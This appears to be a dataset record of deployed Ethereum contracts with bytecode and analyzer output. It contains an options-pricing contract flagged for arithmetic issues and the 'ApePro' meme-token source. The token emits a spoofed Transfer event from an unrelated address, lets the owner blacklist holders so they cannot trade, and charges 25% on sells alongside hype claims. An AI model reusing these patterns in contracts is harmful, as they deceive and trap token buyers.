} function price(address tokenIn, address tokenOut) public view returns (uint) { if (tokenIn == WETH) { return KV1O.current(WETH, 1e18, tokenOut); } else { uint _weth = KV1O.current(tokenIn, uint(10)**IERC20(tokenIn).decimals(), WETH); if (tokenOut == WETH) { return _weth; } else { return KV1O.current(WETH, _weth, tokenOut); } } } function quotePrice(address tokenIn, address tokenOut, uint t, uint sp, uint st) public view returns (uint call, uint put) { uint v = rVol(tokenIn, tokenOut, 4, 24); return quoteAll(t, v, sp, st); } function quoteAll(uint t, uint v, uint sp, uint st) public pure returns (uint call, uint put) { uint _c; uint _p; if (sp > st) { _c = C(t, v, sp, st); _p = st-sp+_c; } else { _p = C(t, v, st, sp); _c = st-sp+_p; } return (_c, _p); } function C(uint t, uint v, uint sp, uint st) public pure returns (uint) { if (sp == st) { return LNX * sp / 1e10 * v / 1e18 * sqrt(1e18 * t / 365) / 1e9; } uint sigma = ((v**2)/2); uint sigmaB = 1e36; uint sig = 1e18 * sigma / sigmaB * t / 365; uint sSQRT = v * sqrt(1e18 * t / 365) / 1e9; uint d1 = 1e18 * ln(FIXED_1 * sp / st) / FIXED_1; d1 = (d1 + sig) * 1e18 / sSQRT; uint d2 = d1 - sSQRT; uint cdfD1 = ncdf(FIXED_1 * d1 / 1e18); uint cdfD2 = cdf(int(FIXED_1) * int(d2) / 1e18); return sp * cdfD1 / 1e14 - st * cdfD2 / 1e14; } function ncdf(uint x) public pure returns (uint) { int t1 = int(1e7 + (2315419 * x / FIXED_1)); uint exp = x / 2 * x / FIXED_1; int d = int(3989423 * FIXED_1 / optimalExp(uint(exp))); uint prob = uint(d * (3193815 + ( -3565638 + (17814780 + (-18212560 + 13302740 * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1); if( x > 0 ) prob = 1e14 - prob; return prob; } /** * @notice Takes the absolute value of a given number * @dev Helper function * @param _number The specified number * @return The absolute value of the number */ function abs(int256 _number) public pure returns (uint256) { return _number < 0 ? uint256(_number * (-1)) : uint256(_number); } function cdf(int x) public pure returns (uint) { int t1 = int(1e7 + int(2315419 * abs(x) / FIXED_1)); uint exp = uint(x / 2 * x) / FIXED_1; int d = int(3989423 * FIXED_1 / optimalExp(uint(exp))); uint prob = uint(d * (3193815 + ( -3565638 + (17814780 + (-18212560 + 13302740 * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1); if( x > 0 ) prob = 1e14 - prob; return prob; } function generalLog(uint256 x) public pure returns (uint) { uint res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = 127; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += uint(1) << (i - 1); } } } return res * LOG_10_2 / BASE; } function sqrt(uint x) public pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } function vol(uint[] memory p) public pure returns (uint x) { for (uint8 i = 1; i <= (p.length-1); i++) { x += ((generalLog(p[i] * FIXED_1) - generalLog(p[i-1] * FIXED_1)))**2; //denom += FIXED_1**2; } //return (sum, denom); x = sqrt(uint(252) * sqrt(x / (p.length-1))); return uint(1e18) * x / SQRT_1; } function rVol(address tokenIn, address tokenOut, uint points, uint window) public view returns (uint) { return vol(KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, points, window)); } function rVolHourly(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 2); } function rVolDaily(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 48); } function rVolWeekly(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 336); } function rVolHourlyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 2); } function rVolDailyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 48); } function rVolWeeklyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 336); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806365c3c2b4116100c3578063b64663841161007c578063b64663841461049a578063c6a51535146104d0578063c801e06714610506578063d0b71b1e1461053c578063d3442edf14610559578063e031d453146105885761014d565b806365c3c2b414610363578063677342ce146103915780637f8290d0146103ae578063892f82f0146103d25780639505086214610475578063ad5c4648146104925761014d565b80632b00490d116101155780632b00490d146102445780632b9432a8146102725780633394f9ed146102a15780633a6fdf47146102d757806345b8bafc146103135780634c3eea9e146103465761014d565b80630969e8db146101525780630e755974146101ad578063101c5422146101ed5780631b5ac4b51461020a57806324d4e90a14610227575b600080fd5b610194600480360360a081101561016857600080fd5b506001600160a01b038135811691602081013590911690604081013590606081013590608001356105b6565b6040805192835260208301919091528051918290030190f35b6101db600480360360408110156101c357600080fd5b506001600160a01b03813581169160200135166105e6565b60408051918252519081900360200190f35b6101db6004803603602081101561020357600080fd5b5035610600565b6101db6004803603602081101561022057600080fd5b50356106ce565b6101db6004803603602081101561023d57600080fd5b50356106e4565b6101db6004803603604081101561025a57600080fd5b506001600160a01b038135811691602001351661077a565b6101946004803603608081101561028857600080fd5b5080359060208101359060408101359060600135610a55565b6101db600480360360608110156102b757600080fd5b506001600160a01b03813581169160208101359091169060400135610a9f565b6101db600480360360808110156102ed57600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135610ab6565b6103306004803603602081101561032957600080fd5b5035610c79565b6040805160ff9092168252519081900360200190f35b6101db6004803603602081101561035c57600080fd5b5035610cda565b6101db6004803603604081101561037957600080fd5b506001600160a01b0381358116916020013516610d69565b6101db600480360360208110156103a757600080fd5b5035610d78565b6103b6610daf565b604080516001600160a01b039092168252519081900360200190f35b6101db600480360360208110156103e857600080fd5b81019060208101813564010000000081111561040357600080fd5b82018360208201111561041557600080fd5b8035906020019184602083028401116401000000008311171561043757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610dc7945050505050565b6101db6004803603602081101561048b57600080fd5b5035610e68565b6103b661120c565b610194600480360360608110156104b057600080fd5b506001600160a01b03813581169160208101359091169060400135611224565b6101db600480360360608110156104e657600080fd5b506001600160a01b0381358116916020810135909116906040013561128e565b6101db6004803603606081101561051c57600080fd5b506001600160a01b0381358116916020810135909116906040013561129d565b6101db6004803603602081101561055257600080fd5b50356112ad565b6101db6004803603608081101561056f57600080fd5b508035906020810135906040810135906060013561138c565b6101db6004803603604081101561059e57600080fd5b506001600160a01b03813581169160200135166114e2565b60008060006105c9888860046018610ab6565b90506105d786828787610a55565b92509250509550959350505050565b60006105f783836002610150610ab6565b90505b92915050565b6000806001607f1b6223549b8402046298968001905060006001607f1b846002868161062857fe5b04028161063157fe5b049050600061063f82610e68565b623cdfaf607f1b8161064d57fe5b049050600083848586876578fcdaec22008161066557fe5b05630115e6cf190162989680028161067957fe5b0563010fd4fc0162989680028161068c57fe5b0562366845190162989680028161069f57fe5b056230bbd70183026298968002816106b357fe5b05905085156106c557655af3107a4000035b95945050505050565b60008082126106dd57816105fa565b5060000390565b600080600160801b83106107155760006107046001607f1b855b04610c79565b60ff1693841c936001607f1b029150505b6001607f1b83111561076357607f5b60ff811615610761576001607f1b848002049350600160801b841061075857600193841c9360ff6000198301161b91909101905b60001901610724565b505b6402540be40064019d25ddbe82025b049392505050565b60006001600160a01b03831673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2141561085657604080516353ae9ce160e11b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26004820152670de0b6b3a764000060248201526001600160a01b0384166044820152905173f67ab1c914dee06ba0f264031885ea7b276a7cda9163a75d39c2916064808301926020929190829003018186803b15801561082357600080fd5b505afa158015610837573d6000803e3d6000fd5b505050506040513d602081101561084d57600080fd5b505190506105fa565b600073f67ab1c914dee06ba0f264031885ea7b276a7cda6001600160a01b031663a75d39c285866001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b557600080fd5b505afa1580156108c9573d6000803e3d6000fd5b505050506040513d60208110156108df57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039093166004840152600a9190910a602483015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26044830152516064808301926020929190829003018186803b15801561094b57600080fd5b505afa15801561095f573d6000803e3d6000fd5b505050506040513d602081101561097557600080fd5b505190506001600160a01b03831673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214156109a55790506105fa565b604080516353ae9ce160e11b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26004820152602481018390526001600160a01b0385166044820152905173f67ab1c914dee06ba0f264031885ea7b276a7cda9163a75d39c2916064808301926020929190829003018186803b158015610a2057600080fd5b505afa158015610a34573d6000803e3d6000fd5b505050506040513d6020811015610a4a57600080fd5b505191506105fa9050565b60008060008084861115610a7c57610a6f8888888861138c565b9150508484038101610a92565b610a888888878961138c565b9050808686030191505b9097909650945050505050565b6000610aae8484846002610ab6565b949350505050565b60006106c573f67ab1c914dee06ba0f264031885ea7b276a7cda6001600160a01b0316630a79339887886001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1857600080fd5b505afa158015610b2c573d6000803e3d6000fd5b505050506040513d6020811015610b4257600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152600a9290920a602483015291891660448201526064810188905260848101879052905160a4808301926000929190829003018186803b158015610bab57600080fd5b505afa158015610bbf573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610be857600080fd5b8101908080516040519392919084640100000000821115610c0857600080fd5b908301906020820185811115610c1d57600080fd5b8251866020820283011164010000000082111715610c3a57600080fd5b82525081516020918201928201910280838360005b83811015610c67578181015183820152602001610c4f565b50505050905001604052505050610dc7565b600080610100831015610ca1575b6001831115610c9c57600192831c9201610c87565b6105fa565b60805b60ff811615610cd357600160ff82161b8410610cc85760ff81169390931c92908117905b60011c607f16610ca4565b5092915050565b600080600160801b8310610d09576000610cf86001607f1b856106fe565b60ff1693841c936001607f1b029150505b6001607f1b831115610d5757607f5b60ff811615610d55576001607f1b848002049350600160801b8410610d4c57600193841c9360ff6000198301161b91909101905b60001901610d18565b505b6402540be40063b36d88358202610772565b60006105f78383600280610ab6565b80600260018201045b81811015610da957809150600281828581610d9857fe5b040181610da157fe5b049050610d81565b50919050565b73f67ab1c914dee06ba0f264031885ea7b276a7cda81565b600060015b60018351038160ff1611610e2a576002610e046001607f1b856001850360ff1681518110610df657fe5b602002602001015102610cda565b610e1b6001607f1b868560ff1681518110610df657fe5b030a9190910190600101610dcc565b50610e4c610e4460018451038381610e3e57fe5b04610d78565b60fc02610d78565b67b504f333f9de6484670de0b6b3a76400009091020492915050565b6000670168244fdac780006001607f1b6f0fffffffffffffffffffffffffffffff84168080028290048082028390048083028490049485026710e1b3be415a00009092026705a0913f6b1e000091909102010192909181830204905080664807432bc1800002830192506001607f1b82820281610ee157fe5b04905080660c0135dca0400002830192506001607f1b82820281610f0157fe5b049050806601b707b1cdc00002830192506001607f1b82820281610f2157fe5b049050806536e0f639b80002830192506001607f1b82820281610f4057fe5b04905080650618fee9f80002830192506001607f1b82820281610f5f57fe5b04905080649c197dcc0002830192506001607f1b82820281610f7d57fe5b04905080640e30dce40002830192506001607f1b82820281610f9b57fe5b0490508064012ebd130002830192506001607f1b82820281610fb957fe5b049050806317499f0002830192506001607f1b82820281610fd657fe5b049050806301a9d48002830192506001607f1b82820281610ff357fe5b04905080621c638002830192506001607f1b8282028161100f57fe5b049050806201c63802830192506001607f1b8282028161102b57fe5b04905080611ab802830192506001607f1b8282028161104657fe5b0490508061017c02830192506001607f1b8282028161106157fe5b04905080601402830192506001607f1b8282028161107b57fe5b6721c3677c82b400009190049384010482016001607f1b019290506001607c1b8516156110cc5770018ebef9eac820ae8682b9793ac6d1e7767001c3d6a24ed82218787d624d3e5eba95f984020492505b6001607d1b851615611102577001368b2fc6f9609fe7aceb46aa619baed470018ebef9eac820ae8682b9793ac6d1e77884020492505b6001607e1b851615611137576fbc5ab1b16779be3575bd8f0520a9f21f7001368b2fc6f9609fe7aceb46aa619baed584020492505b6001607f1b85161561116b576f454aaa8efe072e7f6ddbab84b40a55c96fbc5ab1b16779be3575bd8f0520a9f21e84020492505b600160801b85161561119f576f0960aadc109e7a3bf4578099615711ea6f454aaa8efe072e7f6ddbab84b40a55c584020492505b600160811b8516156111d2576e2bf84208204f5977f9a8cf01fdce3d6f0960aadc109e7a3bf4578099615711d784020492505b600160821b851615611203576d03c6ab775dd0b95b4cbee7e65d116e2bf84208204f5977f9a8cf01fdc30784020492505b50909392505050565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6000806000611233868661077a565b9050611281866001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2146112775773c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2611279565b865b8684856105b6565b9250925050935093915050565b6000610aae8484846030610ab6565b6000610aae848484610150610ab6565b6000806001607f1b6112be846106ce565b6223549b02816112ca57fe5b046298968001905060006001607f1b84600286816112e457fe5b0502816112ed57fe5b04905060006112fb82610e68565b623cdfaf607f1b8161130957fe5b049050600083848586876578fcdaec22008161132157fe5b05630115e6cf190162989680028161133557fe5b0563010fd4fc0162989680028161134857fe5b0562366845190162989680028161135b57fe5b056230bbd701830262989680028161136f57fe5b05905060008613156106c557655af3107a40000395945050505050565b6000818314156113db57633b9aca006113b161016d670de0b6b3a76400008802610e3e565b670de0b6b3a76400006402540be40063edba8b1387020487020402816113d357fe5b049050610aae565b600280850a046ec097ce7bc90715b34b9f1000000000600061016d670de0b6b3a7640000840283900489020490506000633b9aca0061142661016d670de0b6b3a76400008c02610e3e565b89028161142f57fe5b04905060006001607f1b611451888a6001607f1b028161144b57fe5b046106e4565b670de0b6b3a7640000028161146257fe5b04905081838201670de0b6b3a7640000028161147a57fe5b049050818103600061149b670de0b6b3a76400006001607f1b850204610600565b905060006114b8670de0b6b3a76400006001607f1b8502056112ad565b9050655af3107a40008a820204655af3107a40008c840204039d9c50505050505050505050505050565b60006105f7838360026030610ab656fea2646970667358221220eb99c0c45b42f68f10d5ce454bee56391a0a4368b5deb02a912cda2037751e3764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,063
0xdaa3a097ca2f2324dda9043de7c57554c0860448
/** *Submitted for verification at Etherscan.io on 2021-06-23 */ // $ApePro // Telegram: https://t.me/ApePro // Introducing the only coin on the blockchain that is designed to go up. // 20%+ Slippage // Liquidity will be locked // Ownership will be renounced // EverRise fork, special thanks to them! /* .----------------. .----------------. .----------------. .----------------. .----------------. .----------------. | .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. | | | __ | || | ______ | || | _________ | || | ______ | || | _______ | || | ____ | | | | / \ | || | |_ __ \ | || | |_ ___ | | || | |_ __ \ | || | |_ __ \ | || | .' `. | | | | / /\ \ | || | | |__) | | || | | |_ \_| | || | | |__) | | || | | |__) | | || | / .--. \ | | | | / ____ \ | || | | ___/ | || | | _| _ | || | | ___/ | || | | __ / | || | | | | | | | | | _/ / \ \_ | || | _| |_ | || | _| |___/ | | || | _| |_ | || | _| | \ \_ | || | \ `--' / | | | ||____| |____|| || | |_____| | || | |_________| | || | |_____| | || | |____| |___| | || | `.____.' | | | | | || | | || | | || | | || | | || | | | | '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' | '----------------' '----------------' '----------------' '----------------' '----------------' '----------------' */ // Manual buybacks // Fair Launch, no Dev Tokens. 100% LP. // Snipers will be nuked. // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ApePro is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "ApePro"; string private constant _symbol = 'APEPRO'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d79565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128a3565b61045e565b6040516101789190612d5e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612efb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612850565b610490565b6040516101e09190612d5e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127b6565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612f70565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061292c565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127b6565b610786565b6040516102b19190612efb565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612c90565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612d79565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128a3565b610990565b60405161035b9190612d5e565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128e3565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612986565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612810565b611200565b6040516104189190612efb565b60405180910390f35b60606040518060400160405280600681526020017f41706550726f0000000000000000000000000000000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d84848461145a565b61055e846104a9611287565b6105598560405180606001604052806028815260200161364e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b129092919063ffffffff16565b61128f565b600190509392505050565b610571611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612e5b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612e5b565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611287565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b76565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c71565b9050919050565b6107df611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a90047